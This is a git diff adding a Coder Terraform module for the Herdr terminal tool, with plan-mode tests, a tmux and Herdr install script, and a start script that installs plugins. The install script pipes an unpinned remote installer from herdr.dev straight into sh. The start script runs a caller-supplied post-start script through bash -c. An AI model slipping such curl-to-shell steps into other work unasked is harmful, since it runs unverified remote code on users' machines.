+ command = plan
+
+ variables {
+ agent_id = "test-agent"
+ app_port = 9000
+ app_slug = "herdr-relay"
+ app_display_name = "Herdr Mobile Relay"
+ app_healthcheck_path = "/health"
+ order = 5
+ group = "AI Tools"
+ }
+
+ assert {
+ condition = resource.coder_app.herdr[0].slug == "herdr-relay"
+ error_message = "Custom app_slug should be set"
+ }
+
+ assert {
+ condition = resource.coder_app.herdr[0].display_name == "Herdr Mobile Relay"
+ error_message = "Custom app_display_name should be set"
+ }
+
+ assert {
+ condition = [for h in resource.coder_app.herdr[0].healthcheck : h.url][0] == "http://localhost:9000/health"
+ error_message = "Custom app_healthcheck_path should be used"
+ }
+
+ assert {
+ condition = resource.coder_app.herdr[0].order == 5
+ error_message = "Custom order should be set"
+ }
+
+ assert {
+ condition = resource.coder_app.herdr[0].group == "AI Tools"
+ error_message = "Custom group should be set"
+ }
+}
+
+run "invalid_share_rejected" {
+ command = plan
+
+ variables {
+ agent_id = "test-agent"
+ share = "invalid"
+ }
+
+ expect_failures = [
+ var.share,
+ ]
+}
+
+run "invalid_open_in_rejected" {
+ command = plan
+
+ variables {
+ agent_id = "test-agent"
+ open_in = "invalid"
+ }
+
+ expect_failures = [
+ var.open_in,
+ ]
+}
+
+run "install_disabled_configuration" {
+ command = plan
+
+ variables {
+ agent_id = "test-agent"
+ install = false
+ }
+
+ assert {
+ condition = var.install == false
+ error_message = "install should be disabled when specified"
+ }
+}
+
+run "custom_tmux_session_configuration" {
+ command = plan
+
+ variables {
+ agent_id = "test-agent"
+ tmux_session = "herdr-custom"
+ }
+
+ assert {
+ condition = var.tmux_session == "herdr-custom"
+ error_message = "tmux_session should be set correctly"
+ }
+}
+
+run "custom_scripts_configuration" {
+ command = plan
+
+ variables {
+ agent_id = "test-agent"
+ pre_install_script = "#!/bin/bash\necho 'pre-install'"
+ post_install_script = "#!/bin/bash\necho 'post-install'"
+ }
+
+ assert {
+ condition = can(regex("pre-install", var.pre_install_script))
+ error_message = "Pre-install script should contain expected content"
+ }
+
+ assert {
+ condition = can(regex("post-install", var.post_install_script))
+ error_message = "Post-install script should contain expected content"
+ }
+}
+
+run "post_start_script_defaults_to_unset" {
+ command = plan
+
+ variables {
+ agent_id = "test-agent"
+ }
+
+ assert {
+ condition = var.post_start_script == null
+ error_message = "post_start_script should be unset by default"
+ }
+}
+
+run "custom_post_start_script_configuration" {
+ command = plan
+
+ variables {
+ agent_id = "test-agent"
+ post_start_script = "#!/bin/bash\necho 'post-start'"
+ }
+
+ assert {
+ condition = can(regex("post-start", var.post_start_script))
+ error_message = "post_start_script should contain expected content"
+ }
+}
+
+run "scripts_output_is_populated" {
+ command = plan
+
+ variables {
+ agent_id = "test-agent"
+ }
+
+ assert {
+ condition = length(output.scripts) > 0
+ error_message = "scripts output should list at least the install and start scripts"
+ }
+}
diff --git a/registry/gojnimer6553/modules/herdr/scripts/install.sh.tftpl b/registry/gojnimer6553/modules/herdr/scripts/install.sh.tftpl
new file mode 100644
index 000000000..5c8c8feb3
--- /dev/null
+++ b/registry/gojnimer6553/modules/herdr/scripts/install.sh.tftpl
@@ -0,0 +1,97 @@
+#!/bin/bash
+
+set -euo pipefail
+
+BOLD='\033[0;1m'
+
+command_exists() {
+ command -v "$1" > /dev/null 2>&1
+}
+
+ARG_INSTALL='${ARG_INSTALL}'
+ARG_USE_CACHED='${ARG_USE_CACHED}'
+
+echo "--------------------------------"
+printf "ARG_INSTALL: %s\n" "$${ARG_INSTALL}"
+printf "ARG_USE_CACHED: %s\n" "$${ARG_USE_CACHED}"
+echo "--------------------------------"
+
+# Herdr is a terminal multiplexer replacement with no documented headless/
+# daemon startup mode (https://herdr.dev/docs/ has no server/Docker/headless
+# guidance as of this writing) -- the start script drives it through a real
+# pseudo-terminal in the background instead. Installed once here (not on
+# every start) since, unlike Node, tmux has no official portable static
+# binary this script can drop into $HOME without privileges -- it links
+# against system libraries (libevent, ncurses) via the platform's package
+# manager. Best-effort install it that way when root or passwordless sudo is
+# available; otherwise fail with a clear message instead of a confusing
+# mid-script permissions error later in the start script.
+ensure_tmux() {
+ if command_exists tmux; then
+ return 0
+ fi
+
+ echo "⚠️ tmux not found on PATH; attempting to install it..."
+
+ local as_root=""
+ if [ "$(id -u)" != "0" ]; then
+ if command_exists sudo && sudo -n true > /dev/null 2>&1; then
+ as_root="sudo -n"
+ else
+ echo "❌ tmux is required to run Herdr (it gives the Herdr server a real pseudo-terminal in the background) but was not found on PATH, and this workspace has neither root nor passwordless sudo to install it automatically. Add tmux to the workspace image."
+ exit 1
+ fi
+ fi
+
+ if command_exists apt-get; then
+ $as_root apt-get update -qq || true
+ $as_root apt-get install -y -qq tmux || true
+ elif command_exists dnf; then
+ $as_root dnf install -y -q tmux || true
+ elif command_exists yum; then
+ $as_root yum install -y -q tmux || true
+ elif command_exists apk; then
+ $as_root apk add --no-cache tmux || true
+ elif command_exists pacman; then
+ $as_root pacman -Sy --noconfirm tmux || true
+ fi
+
+ if ! command_exists tmux; then
+ echo "❌ tmux is required to run Herdr (it gives the Herdr server a real pseudo-terminal in the background) but was not found on PATH, and automatic installation failed (no supported package manager found, or the install itself failed). Add tmux to the workspace image manually."
+ exit 1
+ fi
+
+ echo "✅ tmux installed automatically."
+}
+
+ensure_tmux
+
+if [ "$${ARG_INSTALL}" != "true" ]; then
+ echo "⏭️ install=false; skipping Herdr installation."
+ exit 0
+fi
+
+# Herdr's own installer places the binary under ~/.local/bin, which may not
+# yet be on PATH for a non-interactive script (it's normally added by a
+# shell rc file sourced only for interactive shells).
+export PATH="$HOME/.local/bin:$PATH"
+
+if command_exists herdr && [ "$${ARG_USE_CACHED}" = "true" ]; then
+ printf "%s\n" "🥳 Found a cached copy of Herdr, skipping install (use_cached=true)"
+ herdr --version || true
+ exit 0
+fi
+
+# Herdr has no documented option for pinning an install to a specific
+# version (see https://herdr.dev/docs/install/) -- this always installs
+# whatever herdr.dev/install.sh currently serves as latest.
+printf "%sInstalling Herdr from herdr.dev...\n" "$${BOLD}"
+curl -fsSL https://herdr.dev/install.sh | sh
+
+if ! command_exists herdr; then
+ echo "❌ Could not find the herdr binary on PATH after install (looked in \$HOME/.local/bin and the rest of PATH)."
+ exit 1
+fi
+
+printf "%s\n\n" "🥳 Herdr has been installed"
+herdr --version || true
diff --git a/registry/gojnimer6553/modules/herdr/scripts/start.sh.tftpl b/registry/gojnimer6553/modules/herdr/scripts/start.sh.tftpl
new file mode 100644
index 000000000..927409870
--- /dev/null
+++ b/registry/gojnimer6553/modules/herdr/scripts/start.sh.tftpl
@@ -0,0 +1,129 @@
+#!/bin/bash
+
+set -euo pipefail
+
+command_exists() {
+ command -v "$1" > /dev/null 2>&1
+}
+
+# module_directory is not caller-influenced (module_dir_name is a hardcoded
+# constant in main.tf), so double-quoting it to expand its literal "$HOME"
+# at runtime is safe. workdir is caller-supplied though -- see the comment on
+# workdir_override in main.tf for why that's passed as a raw override
+# instead and built into a full path below using a real, un-interpolated
+# shell variable rather than embedded "$HOME" text.
+ARG_MODULE_DIRECTORY="${ARG_MODULE_DIRECTORY}"
+ARG_WORKDIR_OVERRIDE='${ARG_WORKDIR_OVERRIDE}'
+ARG_SESSION_NAME='${ARG_SESSION_NAME}'
+ARG_TMUX_SESSION='${ARG_TMUX_SESSION}'
+
+if [ -n "$${ARG_WORKDIR_OVERRIDE}" ]; then
+ WORKDIR="$${ARG_WORKDIR_OVERRIDE}"
+else
+ WORKDIR="$HOME"
+fi
+
+LOG_DIR="$${ARG_MODULE_DIRECTORY}/logs"
+LOG_PATH="$LOG_DIR/herdr.log"
+mkdir -p "$LOG_DIR" "$WORKDIR"
+
+export PATH="$HOME/.local/bin:$PATH"
+
+if ! command_exists herdr; then
+ echo "❌ herdr binary not found on PATH (looked in \$HOME/.local/bin and the rest of PATH). Did the install script run and succeed?"
+ exit 1
+fi
+
+if ! command_exists tmux; then
+ echo "❌ tmux not found on PATH. Did the install script run and succeed?"
+ exit 1
+fi
+
+session_alive() {
+ tmux has-session -t "$${ARG_TMUX_SESSION}" 2> /dev/null
+}
+
+if session_alive; then
+ echo "ℹ️ tmux session '$${ARG_TMUX_SESSION}' is already running; leaving the existing Herdr process alone."
+else
+ echo "🚀 Starting Herdr in the background (tmux session '$${ARG_TMUX_SESSION}')..."
+ : > "$LOG_PATH"
+
+ if [ -n "$${ARG_SESSION_NAME}" ]; then
+ tmux new-session -d -s "$${ARG_TMUX_SESSION}" -c "$WORKDIR" env HERDR_SESSION="$${ARG_SESSION_NAME}" herdr
+ else
+ tmux new-session -d -s "$${ARG_TMUX_SESSION}" -c "$WORKDIR" herdr
+ fi
+
+ # tmux's own shell interprets the -o command; LOG_PATH is derived from
+ # module_directory (a hardcoded constant under $HOME), never from
+ # caller-supplied text, so a plain single-quoted path is safe here.
+ tmux pipe-pane -t "$${ARG_TMUX_SESSION}" -o "cat >> '$LOG_PATH'"
+fi
+
+# Best-effort readiness check: give the server a moment to create its socket
+# before installing plugins. `herdr status` is not fully documented upstream
+# (https://herdr.dev/docs/socket-api/ only shows it as a status-check
+# example), so a failure here is logged but never treated as fatal --
+# plugin installs below are attempted regardless.
+wait_for_herdr() {
+ local attempts=0
+ while [ "$attempts" -lt 20 ]; do
+ if herdr status > /dev/null 2>&1; then
+ return 0
+ fi
+ attempts=$((attempts + 1))
+ sleep 0.5
+ done
+ return 1
+}
+
+if wait_for_herdr; then
+ echo "✅ Herdr is up."
+else
+ echo "⚠️ 'herdr status' did not succeed within 10s; continuing anyway (see $LOG_PATH)."
+fi
+
+# Newline-delimited plugin list (see the ARG_PLUGINS comment in main.tf for
+# why this isn't JSON). Installing a plugin only registers it with Herdr --
+# most plugins, including 0cv/herdr-mobile-relay, still need their own
+# one-time interactive setup step run from a workspace terminal; this module
+# does not attempt to drive that automatically. See the README.
+PLUGINS_LIST=$(cat << 'EOF_PLUGINS'
+${ARG_PLUGINS}
+EOF_PLUGINS
+)
+
+failed_plugins=""
+while IFS= read -r plugin_spec; do
+ [ -z "$plugin_spec" ] && continue
+ echo "🔌 Installing Herdr plugin '$plugin_spec'..."
+ if herdr plugin install "$plugin_spec" --yes; then
+ echo "✅ Installed plugin '$plugin_spec'."
+ else
+ echo "❌ Failed to install plugin '$plugin_spec' (continuing with the rest)."
+ failed_plugins="$failed_plugins $plugin_spec"
+ fi
+done <<< "$PLUGINS_LIST"
+
+if [ -n "$failed_plugins" ]; then
+ echo "⚠️ One or more Herdr plugins failed to install:$failed_plugins"
+fi
+
+echo "ℹ️ Herdr is running in tmux session '$${ARG_TMUX_SESSION}'. Attach from a workspace terminal with: tmux attach -t $${ARG_TMUX_SESSION}"
+echo "ℹ️ Plugins with their own setup wizard (e.g. 0cv/herdr-mobile-relay) still need it run once, e.g.: herdr plugin action invoke setup --plugin "
+
+# post_start_script: see the variable's description in main.tf. Read via a
+# heredoc (like PLUGINS_LIST above) rather than embedded directly as a
+# double-quoted shell string, since it's caller-supplied and may itself
+# contain quotes, "$" expansions, etc. that must not be interpreted here --
+# only when the resulting script body is actually executed below.
+POST_START_SCRIPT=$(cat << 'EOF_POST_START_SCRIPT'
+${ARG_POST_START_SCRIPT}
+EOF_POST_START_SCRIPT
+)
+
+if [ -n "$POST_START_SCRIPT" ]; then
+ echo "▶️ Running post_start_script..."
+ bash -c "$POST_START_SCRIPT"
+fi